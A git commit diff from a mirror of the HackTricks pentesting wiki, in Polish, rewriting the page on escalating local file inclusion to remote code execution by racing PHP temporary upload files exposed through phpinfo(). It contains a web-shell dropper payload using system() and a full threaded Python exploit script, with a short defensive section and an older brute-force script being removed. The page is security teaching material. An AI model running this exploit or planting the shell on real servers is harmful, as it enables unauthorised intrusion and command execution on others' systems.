mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']
This commit is contained in:
parent
2bab9edd96
commit
05fa018f00
@ -1,55 +1,156 @@
|
|||||||
|
# LFI to RCE via PHPInfo
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Aby wykorzystać tę lukę, potrzebujesz: **Luki LFI, strony, na której wyświetlany jest phpinfo(), "file_uploads = on" oraz serwer musi mieć możliwość zapisu w katalogu "/tmp".**
|
Aby wykorzystać tę technikę potrzebujesz wszystkich następujących elementów:
|
||||||
|
- Dostępnej strony, która wypisuje wynik phpinfo().
|
||||||
|
- Sterowalnego Local File Inclusion (LFI) primitive (np. include/require na danych wejściowych użytkownika).
|
||||||
|
- Włączonego przesyłania plików w PHP (file_uploads = On). Każdy skrypt PHP zaakceptuje RFC1867 multipart uploads i utworzy tymczasowy plik dla każdej przesłanej części.
|
||||||
|
- Proces PHP musi móc zapisywać do skonfigurowanego upload_tmp_dir (lub domyślnego katalogu tymczasowego systemu), a twoje LFI musi móc include tę ścieżkę.
|
||||||
|
|
||||||
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
Klasyczne opracowanie i oryginalny PoC:
|
||||||
|
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
|
||||||
|
- Nazwa oryginalnego skryptu PoC: phpinfolfi.py (zob. whitepaper i mirrors)
|
||||||
|
|
||||||
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
|
||||||
|
|
||||||
Musisz naprawić exploit (zmienić **=>** na **=>**). Aby to zrobić, możesz:
|
Uwagi dotyczące oryginalnego PoC
|
||||||
|
- Wynik phpinfo() jest zakodowany w HTML, więc strzałka "=>" często pojawia się jako "=>". Jeśli używasz starych skryptów, upewnij się, że szukają obu form kodowania przy parsowaniu wartości _FILES[tmp_name].
|
||||||
|
- Musisz dostosować payload (twój kod PHP), REQ1 (żądanie do endpointu phpinfo() wraz z paddingiem) oraz LFIREQ (żądanie do twojego LFI sink). Niektóre cele nie potrzebują terminatora null-byte (%00) i nowoczesne wersje PHP go nie respektują. Dostosuj LFIREQ odpowiednio do podatnego sinku.
|
||||||
|
|
||||||
|
Przykładowe sed (tylko jeśli naprawdę używasz starego PoC w Python2) do dopasowania strzałki zakodowanej w HTML:
|
||||||
```
|
```
|
||||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
|
||||||
```
|
```
|
||||||
Musisz również zmienić **payload** na początku exploita (na przykład na php-rev-shell), **REQ1** (to powinno wskazywać na stronę phpinfo i powinno zawierać padding, tzn.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), oraz **LFIREQ** (to powinno wskazywać na lukę LFI, tzn.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Sprawdź podwójne "%" podczas eksploatacji znaku null)
|
## Teoria
|
||||||
|
|
||||||
{{#file}}
|
- Kiedy PHP otrzymuje multipart/form-data POST z polem pliku, zapisuje zawartość do pliku tymczasowego (upload_tmp_dir lub domyślne dla OS) i ujawnia ścieżkę w $_FILES['<field>']['tmp_name']. Plik jest automatycznie usuwany na końcu żądania, chyba że zostanie przeniesiony/zmieniony.
|
||||||
LFI-With-PHPInfo-Assistance.pdf
|
- Sztuczka polega na poznaniu nazwy pliku tymczasowego i dołączeniu jej za pomocą LFI zanim PHP ją usunie. phpinfo() wypisuje $_FILES, w tym tmp_name.
|
||||||
{{#endfile}}
|
- Poprzez powiększanie nagłówków/parametrów żądania (padding) możesz spowodować, że wczesne fragmenty wyjścia phpinfo() zostaną wysłane do klienta zanim żądanie się zakończy, dzięki czemu możesz odczytać tmp_name, gdy plik tymczasowy nadal istnieje, a następnie natychmiast trafić w LFI z tą ścieżką.
|
||||||
|
|
||||||
### Teoria
|
W Windows pliki tymczasowe zwykle znajdują się w katalogu takim jak C:\\Windows\\Temp\\php*.tmp. W Linux/Unix zwykle są w /tmp lub w katalogu skonfigurowanym w upload_tmp_dir.
|
||||||
|
|
||||||
Jeśli przesyłanie plików jest dozwolone w PHP i próbujesz przesłać plik, ten plik jest przechowywany w tymczasowym katalogu, aż serwer zakończy przetwarzanie żądania, a następnie ten tymczasowy plik jest usuwany.
|
## Przebieg ataku (krok po kroku)
|
||||||
|
|
||||||
Jeśli znajdziesz lukę LFI w serwerze WWW, możesz spróbować odgadnąć nazwę tymczasowego pliku utworzonego i wykorzystać RCE, uzyskując dostęp do tymczasowego pliku, zanim zostanie on usunięty.
|
1) Przygotuj mały PHP payload, który szybko utrwali shell, aby nie przegrać race (zapis pliku jest zazwyczaj szybszy niż oczekiwanie na reverse shell):
|
||||||
|
```
|
||||||
|
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
|
||||||
|
```
|
||||||
|
2) Wyślij duży multipart POST bezpośrednio do strony phpinfo(), aby utworzyła plik tymczasowy zawierający twój payload. Nadmuchaj różne headers/cookies/params z ~5–10KB paddingu, aby zachęcić do wcześniejszego outputu. Upewnij się, że nazwa pola formularza pasuje do tego, co będziesz parsować w $_FILES.
|
||||||
|
|
||||||
W **Windows** pliki są zazwyczaj przechowywane w **C:\Windows\temp\php**
|
3) Gdy odpowiedź phpinfo() wciąż się streamuje, parsuj częściowe body, aby wyciągnąć $_FILES['<field>']['tmp_name'] (HTML-encoded). Jak tylko masz pełną ścieżkę absolutną (np. /tmp/php3Fz9aB), wywołaj swoje LFI, żeby include() tę ścieżkę. Jeśli include() wykona plik tymczasowy zanim zostanie on usunięty, twój payload uruchomi się i utworzy /tmp/.p.php.
|
||||||
|
|
||||||
W **linux** nazwa pliku zazwyczaj jest **losowa** i znajduje się w **/tmp**. Ponieważ nazwa jest losowa, konieczne jest **wyodrębnienie skądś nazwy tymczasowego pliku** i uzyskanie do niego dostępu, zanim zostanie usunięty. Można to zrobić, odczytując wartość **zmiennej $\_FILES** wewnątrz treści funkcji "**phpconfig()**".
|
4) Użyj utworzonego pliku: GET /vuln.php?include=/tmp/.p.php&x=id (lub tam, gdzie twój LFI pozwala na jego include) aby niezawodnie wykonywać polecenia.
|
||||||
|
|
||||||
**phpinfo()**
|
> Wskazówki
|
||||||
|
> - Użyj wielu równoległych workerów, aby zwiększyć szanse na wygranie wyścigu.
|
||||||
|
> - Umiejscowienie paddingu, które często pomaga: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Dostosuj do celu.
|
||||||
|
> - Jeśli podatny sink dopisuje rozszerzenie (np. .php), nie potrzebujesz null byte; include() wykona PHP niezależnie od rozszerzenia pliku tymczasowego.
|
||||||
|
|
||||||
**PHP** używa bufora o wielkości **4096B** i gdy jest **pełny**, jest **wysyłany do klienta**. Następnie klient może **wysłać** **dużo dużych żądań** (używając dużych nagłówków) **przesyłając php** reverse **shell**, czekać na **pierwszą część phpinfo()**, która zostanie zwrócona (gdzie znajduje się nazwa tymczasowego pliku) i spróbować **uzyskać dostęp do pliku tymczasowego** zanim serwer php usunie plik, eksploatując lukę LFI.
|
## Minimalny PoC Python 3 (oparty na socketach)
|
||||||
|
|
||||||
**Skrypt Pythona do próby brutalnego wymuszenia nazwy (jeśli długość = 6)**
|
Poniższy fragment skupia się na kluczowych częściach i jest łatwiejszy do zaadaptowania niż przestarzały skrypt Python2. Dostosuj HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (ścieżka do LFI sink), oraz PAYLOAD.
|
||||||
```python
|
```python
|
||||||
import itertools
|
#!/usr/bin/env python3
|
||||||
import requests
|
import re, html, socket, threading
|
||||||
import sys
|
|
||||||
|
|
||||||
print('[+] Trying to win the race')
|
HOST = 'target.local'
|
||||||
f = {'file': open('shell.php', 'rb')}
|
PORT = 80
|
||||||
for _ in range(4096 * 4096):
|
PHPSCRIPT = '/phpinfo.php'
|
||||||
requests.post('http://target.com/index.php?c=index.php', f)
|
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
|
||||||
|
THREADS = 10
|
||||||
|
|
||||||
|
PAYLOAD = (
|
||||||
|
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
|
||||||
|
)
|
||||||
|
BOUND = '---------------------------7dbff1ded0714'
|
||||||
|
PADDING = 'A' * 6000
|
||||||
|
REQ1_DATA = (f"{BOUND}\r\n"
|
||||||
|
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
|
||||||
|
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
|
||||||
|
|
||||||
|
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
|
||||||
|
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
|
||||||
|
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
|
||||||
|
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
|
||||||
|
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
|
||||||
|
|
||||||
|
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
|
||||||
|
|
||||||
|
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
|
||||||
|
|
||||||
|
|
||||||
print('[+] Bruteforcing the inclusion')
|
def race_once():
|
||||||
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
s1 = socket.socket()
|
||||||
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
s2 = socket.socket()
|
||||||
r = requests.get(url)
|
s1.connect((HOST, PORT))
|
||||||
if 'load average' in r.text: # <?php echo system('uptime');
|
s2.connect((HOST, PORT))
|
||||||
print('[+] We have got a shell: ' + url)
|
s1.sendall(REQ1.encode())
|
||||||
sys.exit(0)
|
buf = b''
|
||||||
|
tmp = None
|
||||||
|
while True:
|
||||||
|
chunk = s1.recv(4096)
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
buf += chunk
|
||||||
|
m = pat.search(html.unescape(buf.decode(errors='ignore')))
|
||||||
|
if m:
|
||||||
|
tmp = m.group(1)
|
||||||
|
break
|
||||||
|
ok = False
|
||||||
|
if tmp:
|
||||||
|
req = (LFI % tmp).encode() % HOST.encode()
|
||||||
|
s2.sendall(req)
|
||||||
|
r = s2.recv(4096)
|
||||||
|
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
|
||||||
|
s1.close(); s2.close()
|
||||||
|
return ok
|
||||||
|
|
||||||
print('[x] Something went wrong, please try again')
|
if __name__ == '__main__':
|
||||||
|
hit = False
|
||||||
|
def worker():
|
||||||
|
nonlocal_hit = False
|
||||||
|
while not hit and not nonlocal_hit:
|
||||||
|
nonlocal_hit = race_once()
|
||||||
|
if nonlocal_hit:
|
||||||
|
print('[+] Won the race, payload dropped as /tmp/.p.php')
|
||||||
|
exit(0)
|
||||||
|
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
|
||||||
|
[t.start() for t in ts]
|
||||||
|
[t.join() for t in ts]
|
||||||
```
|
```
|
||||||
|
## Rozwiązywanie problemów
|
||||||
|
- Nigdy nie widzisz tmp_name: Upewnij się, że naprawdę wysyłasz POST multipart/form-data do phpinfo(). phpinfo() wypisuje $_FILES tylko gdy pole przesyłania pliku było obecne.
|
||||||
|
- Wyjście nie jest wysyłane wcześnie: zwiększ padding, dodaj więcej dużych nagłówków lub wyślij wiele równoległych żądań. Niektóre SAPI/bufory nie wypuszczają danych aż do osiągnięcia większych progów; dostosuj odpowiednio.
|
||||||
|
- Ścieżka LFI zablokowana przez open_basedir lub chroot: musisz skierować LFI na dozwoloną ścieżkę lub przełączyć się na inny wektor LFI2RCE.
|
||||||
|
- Katalog tymczasowy nie jest /tmp: phpinfo() wypisuje pełną absolutną ścieżkę tmp_name; użyj tej dokładnej ścieżki w LFI.
|
||||||
|
|
||||||
|
## Wskazówki obronne
|
||||||
|
- Nigdy nie udostępniaj phpinfo() w środowisku produkcyjnym. Jeśli konieczne, ogranicz dostęp po IP/uwierzytelnieniu i usuń po użyciu.
|
||||||
|
- Trzymaj file_uploads wyłączone jeśli nie są potrzebne. W przeciwnym razie ogranicz upload_tmp_dir do ścieżki niedostępnej dla include() w aplikacji i wymuszaj ścisłą walidację wszystkich ścieżek include/require.
|
||||||
|
- Traktuj każde LFI jako krytyczne; nawet bez phpinfo(), istnieją inne ścieżki LFI→RCE.
|
||||||
|
|
||||||
|
## Powiązane techniki HackTricks
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
lfi2rce-via-temp-file-uploads.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
via-php_session_upload_progress.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
lfi2rce-via-nginx-temp-files.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
lfi2rce-via-eternal-waiting.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Referencje
|
||||||
|
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
|
||||||
|
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user